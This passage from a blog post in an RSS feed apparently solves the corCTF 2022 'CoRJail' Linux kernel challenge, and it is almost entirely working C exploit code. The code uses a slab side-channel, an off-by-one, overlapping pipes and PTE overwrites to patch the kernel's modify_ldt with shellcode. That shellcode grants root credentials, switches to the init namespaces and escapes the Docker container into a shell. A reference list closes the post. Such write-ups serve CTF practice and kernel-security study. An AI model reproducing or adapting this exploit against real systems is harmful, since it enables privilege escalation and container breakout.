    sys_add_key(type, desc, NULL, 0, 0);
    const size_t t2 = rdtsc_end();
    times[i] = t2 - t1;
    if (pipe_res &amp;lt; 0) {
      break;
    }
    ++pipe_cnt;

    if (times[i] &amp;gt; 8000 &amp;amp;&amp;amp; (i == 0 || times[i] - times[i - 1] &amp;gt; 1500)) {
      if (last == 0) {
        last = i;
        last_idx_in_slab[running] = i;
        ++running;
      } else if (i - last == 8) {
        last = i;
        last_idx_in_slab[running] = i;
        ++running;
      } else {
        last = 0;
        running = 0;
      }

      if (running == slab_cnt) {
        for (int j = 0; j &amp;lt; 8 &amp;amp;&amp;amp; (i + j + 1 - last) % 8 != 0; ++j) {
          alloc_4k_pipe_at(i + j + 1);
          ++pipe_cnt;
        }
        finded = 1;
        break;
      }
    }
  }
  return finded ? 0 : -1;
}

size_t victim_pipe_fds[2];
int find_overlapped_pipes() {
  char buf[0x20];
  uint64_t *uint64_buf = (uint64_t *)buf;
  for (size_t i = 0; i &amp;lt; pipe_cnt; ++i) {
    read(pipe_fds[i][0], buf, 0x10);
    int is_ok = (memcmp(buf, &amp;#34;UNIGURI@&amp;#34;, 8) == 0 &amp;amp;&amp;amp;
                 (uint64_buf[1] &amp;gt;&amp;gt; 32) == 0xdeadbeef);
    int is_corrupted = (uint64_buf[1] == 0xdeadbeef00000000 + i);
    if (is_ok &amp;amp;&amp;amp; !is_corrupted) {
      victim_pipe_fds[0] = i;
      victim_pipe_fds[1] = uint64_buf[1] &amp;amp; 0xffffffff;
      return 0;
    }
    if (!is_ok) {
      return -1;
    }
  }

  return -1;
}

int test_overlapped_pipes() {
  char tmp[0x100];
  memset(tmp, 0, sizeof(tmp));
  const char *test_str = &amp;#34;UNIGURI!&amp;#34;;
  const size_t test_str_len = strlen(test_str);
  printf(&amp;#34;    [*] Test msg(len=0x%lx): \&amp;#34;%s\&amp;#34;\n&amp;#34;, test_str_len, test_str);

  write(pipe_fds[victim_pipe_fds[1]][1], tmp, test_str_len);

  strncpy(tmp, test_str, sizeof(tmp));
  printf(&amp;#34;    [*] Write \&amp;#34;%s\&amp;#34; to pipe@%lx\n&amp;#34;, tmp, victim_pipe_fds[0]);
  write(pipe_fds[victim_pipe_fds[0]][1], tmp, test_str_len);

  memset(tmp, 0, sizeof(tmp));
  read(pipe_fds[victim_pipe_fds[1]][0], tmp, test_str_len);
  printf(&amp;#34;    [*] Read \&amp;#34;%s\&amp;#34; from pipe@%lx\n&amp;#34;, tmp, victim_pipe_fds[1]);

  const int successed = !memcmp(test_str, tmp, test_str_len) ? 0 : -1;
  read(pipe_fds[victim_pipe_fds[0]][0], tmp, test_str_len);
  return successed;
}

#define MMAP_SPRAY_COUNT 0x1000UL
#define FILE_SPRAY_COUNT (MMAP_SPRAY_COUNT / 0x10)
void *mmap_addrs[MMAP_SPRAY_COUNT];
#define MMAP_SPRAT_START_ADDR 0xcafe0000UL
#define MMAP_PAGE_SIZE 0x1000UL
#define MMAP_SPRAT_STEP 0x10000UL
#define MMAP_SPRAT_SIZE 0x10000UL
void spray_ptes_target_to_victim_pipe_page() {
  for (int i = 0; i &amp;lt; MMAP_SPRAY_COUNT; ++i) {
    mmap_addrs[i] = mmap((void *)(MMAP_SPRAT_START_ADDR + i * MMAP_SPRAT_STEP),
                         MMAP_SPRAT_SIZE, PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    if (mmap_addrs[i] == MAP_FAILED) {
      fatal(&amp;#34;mmap&amp;#34;);
    }
  }

  int file_fds[FILE_SPRAY_COUNT];

  sched_yield();
  close_pipe_at(victim_pipe_fds[1]);

  for (int i = 0; i &amp;lt; FILE_SPRAY_COUNT; ++i) {
    file_fds[i] = open(&amp;#34;/&amp;#34;, O_RDONLY);
    if (file_fds[i] &amp;lt; 0) {
      fatal(&amp;#34;open&amp;#34;);
    }
  }

  for (int i = 0; i &amp;lt; FILE_SPRAY_COUNT; ++i) {
    close(file_fds[i]);
  }

  for (int i = 0; i &amp;lt; MMAP_SPRAY_COUNT; ++i) {
    for (int j = 0; j &amp;lt; MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
      uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
      const uint64_t val = ((uint64_t)i &amp;lt;&amp;lt; 32) + j * 0x01010101;
      *addr = val;
    }
  }
}

void *corrupted_mmap_addr = (void *)-1;
void find_corrupted_mmap_addr() {
  if (corrupted_mmap_addr != (void *)-1) {
    return;
  }
  for (int i = 0; i &amp;lt; MMAP_SPRAY_COUNT; ++i) {
    for (int j = 0; j &amp;lt; MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
      uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
      const uint64_t val = ((uint64_t)i &amp;lt;&amp;lt; 32) + j * 0x01010101;
      if (*addr != val) {
        corrupted_mmap_addr = addr;
        return;
      }
    }
  }
}

uint64_t original_ptes[0x1000 / 8];
uint64_t physical_kernel_base;
uint64_t default_pte_for_kernel_code;

void *set_pte(uint64_t new_pte) {
  static uint64_t cur_offset = 0;
  if (cur_offset &amp;gt;= 0x1000 * 512) {
    fatal(&amp;#34;set_pte: too many modifications&amp;#34;);
  }
  write(pipe_fds[victim_pipe_fds[0]][1], &amp;amp;new_pte, 8);
  if (corrupted_mmap_addr == (void *)-1) {
    find_corrupted_mmap_addr();
  }
  void *affected_addr = corrupted_mmap_addr + cur_offset;
  cur_offset += 0x1000;
  return affected_addr;
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

#define MODIFY_LDT_ADDR 0xffffffff810252f0
#define MODIFY_LDT_OFFSET (MODIFY_LDT_ADDR - KERNEL_BASE_START)
uint64_t *modify_ldt_addr;
uint8_t original_modify_ldt_code[0x1000];
static void get_shell() {
  puts(&amp;#34;[+] Escaping docker is success&amp;#34;);
  puts(&amp;#34;    [*] Restore original modify_ldt code&amp;#34;);
  memcpy(modify_ldt_addr, original_modify_ldt_code,
         sizeof(original_modify_ldt_code) - (MODIFY_LDT_OFFSET &amp;amp; 0xfff));

  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char *argv[] = {&amp;#34;/bin/bash&amp;#34;, NULL};
  char *envp[] = {NULL};
  execve(&amp;#34;/bin/bash&amp;#34;, argv, envp);
}
void patch_modify_ldt() {
  const uint64_t pte_for_modify_ldt =
      default_pte_for_kernel_code + (MODIFY_LDT_OFFSET &amp;amp; ~(0xFFF));
  modify_ldt_addr =
      (uint64_t *)(set_pte(pte_for_modify_ldt) + (MODIFY_LDT_OFFSET &amp;amp; 0xfff));
  /*
   * Below opcodes are from:
   * call get_rip;
   * get_rip:
   *   pop r15;
   *   sub r15, 0x252f0; // &amp;amp;__x64_sys_modify_ldt - kbase == 0x252f0
   *   sub r15, 5; // call get_rip; takes 5 bytes
   *
   *   // call commit_creds(&amp;amp;init_cred);
   *   lea rdi, [r15 + 0x145a960]; // &amp;amp;init_cred - kbase == 0x145a960
   *   lea rax, [r15 + 0xeba40]; // &amp;amp;commit_creds - kbase == 0xeba40
   *   call rax;
   *
   *   // task = find_task_by_vpid(1);
   *   // call switch_task_namespaces(task, &amp;amp;init_nsproxy);
   *   mov rdi, 1;
   *   lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
   *   call rax; // find_task_by_vpid(1)
   *   mov rdi, rax; // task
   *   lea rsi, [r15 + 0x145a720]; // &amp;amp;init_nsproxy - kbase == 0x145a720
   *   lea rax, [r15 + 0xea4e0]; // &amp;amp;switch_task_namespaces - kbase == 0xea4e0
   *   call rax; // switch_task_namespaces(task, &amp;amp;init_nsproxy);
   *
   *   // current = find_task_by_vpid(pid);
   *   // current-&amp;gt;fs = copy_fs_struct(&amp;amp;init_fs);
   *   lea rdi, [r15 + 0x1589740]; // &amp;amp;init_fs - kbase == 0x1589740
   *   lea rax, [r15 + 0x2e7350]; // &amp;amp;copy_fs_struct - kbase == 0x2e7350
   *   call rax; // copy_fs_struct(&amp;amp;init_fs);
   *   mov rbx, rax; // new_fs
   *   mov rdi, 0x1111111111111111; // pid: will be fiexed
   *   lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
   *   call rax; // current = find_task_by_vpid(pid)
   *   mov [rax + 0x6e0], rbx; // current-&amp;gt;fs = new_fs
   *
   *   // bypass kpti
   *   xor rax, rax;
   *   mov [rsp + 0x00], rax;
   *   mov [rsp + 0x08], rax;
   *   mov rax, 0x2222222222222222; // user_ip: will be fixed
   *   mov [rsp + 0x10], rax;
   *   mov rax, 0x3333333333333333; // user_cs: will be fixed
   *   mov [rsp + 0x18], rax;
   *   mov rax, 0x4444444444444444; // user_rflags: will be fixed
   *   mov [rsp + 0x20], rax;
   *   mov rax, 0x5555555555555555; // user_sp: will be fixed
   *   mov [rsp + 0x28], rax;
   *   mov rax, 0x6666666666666666; // user_ss: will be fixed
   *   mov [rsp + 0x30], rax;
   *   lea rax, [r15 + 0xc00f06]; // bypass_kpti - kbase == 0xc00f06
   *   jmp rax; // bypass_kpti
   */
  uint8_t new_modify_ldt_code[] = {
      0xE8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x49, 0x81, 0xEF, 0xF0, 0x52,
      0x02, 0x00, 0x49, 0x83, 0xEF, 0x05, 0x49, 0x8D, 0xBF, 0x60, 0xA9, 0x45,
      0x01, 0x49, 0x8D, 0x87, 0x40, 0xBA, 0x0E, 0x00, 0xFF, 0xD0, 0x48, 0xC7,
      0xC7, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8D, 0x87, 0xC0, 0x4F, 0x0E, 0x00,
      0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x49, 0x8D, 0xB7, 0x20, 0xA7, 0x45, 0x01,
      0x49, 0x8D, 0x87, 0xE0, 0xA4, 0x0E, 0x00, 0xFF, 0xD0, 0x49, 0x8D, 0xBF,
      0x40, 0x97, 0x58, 0x01, 0x49, 0x8D, 0x87, 0x50, 0x73, 0x2E, 0x00, 0xFF,
      0xD0, 0x48, 0x89, 0xC3, 0x48, 0xBF, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
      0x11, 0x11, 0x49, 0x8D, 0x87, 0xC0, 0x4F, 0x0E, 0x00, 0xFF, 0xD0, 0x48,
      0x89, 0x98, 0xE0, 0x06, 0x00, 0x00, 0x48, 0x31, 0xC0, 0x48, 0x89, 0x04,
      0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xB8, 0x22, 0x22, 0x22, 0x22,
      0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xB8, 0x33,
      0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18,
      0x48, 0xB8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
      0x44, 0x24, 0x20, 0x48, 0xB8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
      0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xB8, 0x66, 0x66, 0x66, 0x66,
      0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8D, 0x87,
      0x06, 0x0F, 0xC0, 0x00, 0xFF, 0xE0};

  uint64_t *ptr;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x11\x11\x11\x11\x11\x11\x11\x11&amp;#34;, 8);
  *ptr = getpid();
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x22\x22\x22\x22\x22\x22\x22\x22&amp;#34;, 8);
  *ptr = (uint64_t)get_shell;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x33\x33\x33\x33\x33\x33\x33\x33&amp;#34;, 8);
  *ptr = user_cs;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x44\x44\x44\x44\x44\x44\x44\x44&amp;#34;, 8);
  *ptr = user_rflags;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x55\x55\x55\x55\x55\x55\x55\x55&amp;#34;, 8);
  *ptr = user_sp;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x66\x66\x66\x66\x66\x66\x66\x66&amp;#34;, 8);
  *ptr = user_ss;

  memcpy(original_modify_ldt_code, modify_ldt_addr,
         sizeof(original_modify_ldt_code) - (MODIFY_LDT_OFFSET &amp;amp; 0xfff));
  memcpy(modify_ldt_addr, new_modify_ldt_code, sizeof(new_modify_ldt_code));
}

#define SLAB_COUNT 7

int main() {
  pin_to_core(0);
  save_state();
  vuln_fd = open(&amp;#34;/proc_rw/cormon&amp;#34;, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open&amp;#34;);
  }
  void *tmpbuf = malloc(0x1000);
  uint64_t *uint64_tmpbuf = (uint64_t *)tmpbuf;

FIRST_STEP:
#define RETRY()                                            \
  do {                                                     \
    for (int i = 0; i &amp;lt; pipe_cnt; ++i) {                   \
      close_pipe_at(i);                                    \
    }                                                      \
    sched_yield();                                         \
    puts(&amp;#34;\n[*] Retry from first step after 1 seconds\n&amp;#34;); \
    sleep(1);                                              \
    goto FIRST_STEP;                                       \
  } while (0)

  puts(&amp;#34;[*] Do side-channel for kmalloc-4k slab...&amp;#34;);
  while (make_kmalloc_4k_slab_full(SLAB_COUNT) &amp;lt; 0) {
    puts(&amp;#34;    [*] Retry side-channel for kmalloc-4k slab...&amp;#34;);
    for (int i = 0; i &amp;lt; pipe_cnt; ++i) {
      close_pipe_at(i);
    }
    sched_yield();
  }
  puts(&amp;#34;    [+] Side-channel success&amp;#34;);

  const size_t target_pipe_idx = SLAB_COUNT * 4 + 4;
  puts(&amp;#34;[*] Trigger off-by-one...&amp;#34;);
  sched_yield();
  close_pipe_at(target_pipe_idx);
  off_by_one_in_kmalloc_4k();
  alloc_4k_pipe_at(target_pipe_idx);
  sched_yield();

  puts(&amp;#34;[*] Finding overlapped pipes...&amp;#34;);
  if (find_overlapped_pipes()) {
    puts(&amp;#34;    [-] Overlapping seems false positive&amp;#34;);
    RETRY();
  }
  printf(&amp;#34;    [+] pipe @ %lx and pipe @ %lx are overlapped!\n&amp;#34;,
         victim_pipe_fds[0], victim_pipe_fds[1]);

  puts(&amp;#34;[*] Test overlapped pipes&amp;#34;);
  if (test_overlapped_pipes() &amp;lt; 0) {
    puts(&amp;#34;    [-] Overlapping seems false positive&amp;#34;);
    RETRY();
  }
  puts(&amp;#34;    [+] Overlapping is true&amp;#34;);

  puts(&amp;#34;[*] Set pipe&amp;#39;s offset to 0x1000 for reading PTEs&amp;#34;);
  write(pipe_fds[victim_pipe_fds[0]][1], original_ptes, 0x1000);

  puts(&amp;#34;[*] Spray PTEs...&amp;#34;);
  spray_ptes_target_to_victim_pipe_page();

  puts(&amp;#34;[*] Read PTEs&amp;#34;);
  read(pipe_fds[victim_pipe_fds[0]][0], original_ptes, 0x1000);
  if ((original_ptes[0] &amp;amp; PTE_FLAGS_MASK) != 0x8000000000000867) {
    puts(&amp;#34;    [-] UAF page does not contain PTEs&amp;#34;);
    RETRY();
  }
  printf(&amp;#34;    [+] UAF page contains PTEs (One of them is 0x%016lx)\n&amp;#34;,
         original_ptes[0]);

  puts(&amp;#34;[*] Overwrite PTE to leak physical kernel base&amp;#34;);
  const uint64_t new_pte_for_dmabuf =
      PAGE_DEFAULT_FLAGS | 0x9c000;  // dmabuf..? WTF?!
  uint64_t *dmabuf_addr = (uint64_t *)set_pte(new_pte_for_dmabuf);

  find_corrupted_mmap_addr();
  if (corrupted_mmap_addr == (void *)-1) {
    puts(&amp;#34;    [-] Corrupted mmap addr not found&amp;#34;);
    RETRY();
  }
  printf(&amp;#34;    [+] Corrupted mmap addr: %p\n&amp;#34;, corrupted_mmap_addr);
  physical_kernel_base = (*dmabuf_addr &amp;amp; PTE_PFN_MASK) - 0x2004000ULL;
  printf(&amp;#34;    [+] physical kernel base: 0x%016lx\n&amp;#34;, physical_kernel_base);
  default_pte_for_kernel_code = physical_kernel_base | PAGE_DEFAULT_FLAGS;

  puts(&amp;#34;[*] Escaping docker...&amp;#34;);
  puts(&amp;#34;    [*] Patch modify_ldt&amp;#34;);
  patch_modify_ldt();
  puts(&amp;#34;    [*] Call patched modify_ldt...&amp;#34;);
  syscall(SYS_modify_ldt);
  puts(&amp;#34;    [-] Failed to Escaping docker&amp;#34;);

  get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/Crusaders-of-Rust/corCTF-2022-public-challenge-archive/tree/master/pwn/corjail/task&#34;&gt;https://github.com/Crusaders-of-Rust/corCTF-2022-public-challenge-archive/tree/master/pwn/corjail/task&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/corCTF/2022/pwn/CoRJail&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/corCTF/2022/pwn/CoRJail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/isec-tugraz/SLUBStick&#34;&gt;https://github.com/isec-tugraz/SLUBStick&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/Lotuhu/Page-UAF&#34;&gt;https://github.com/Lotuhu/Page-UAF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ptr-yudai.hatenablog.com/entry/2023/12/07/221333&#34;&gt;https://ptr-yudai.hatenablog.com/entry/2023/12/07/221333&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
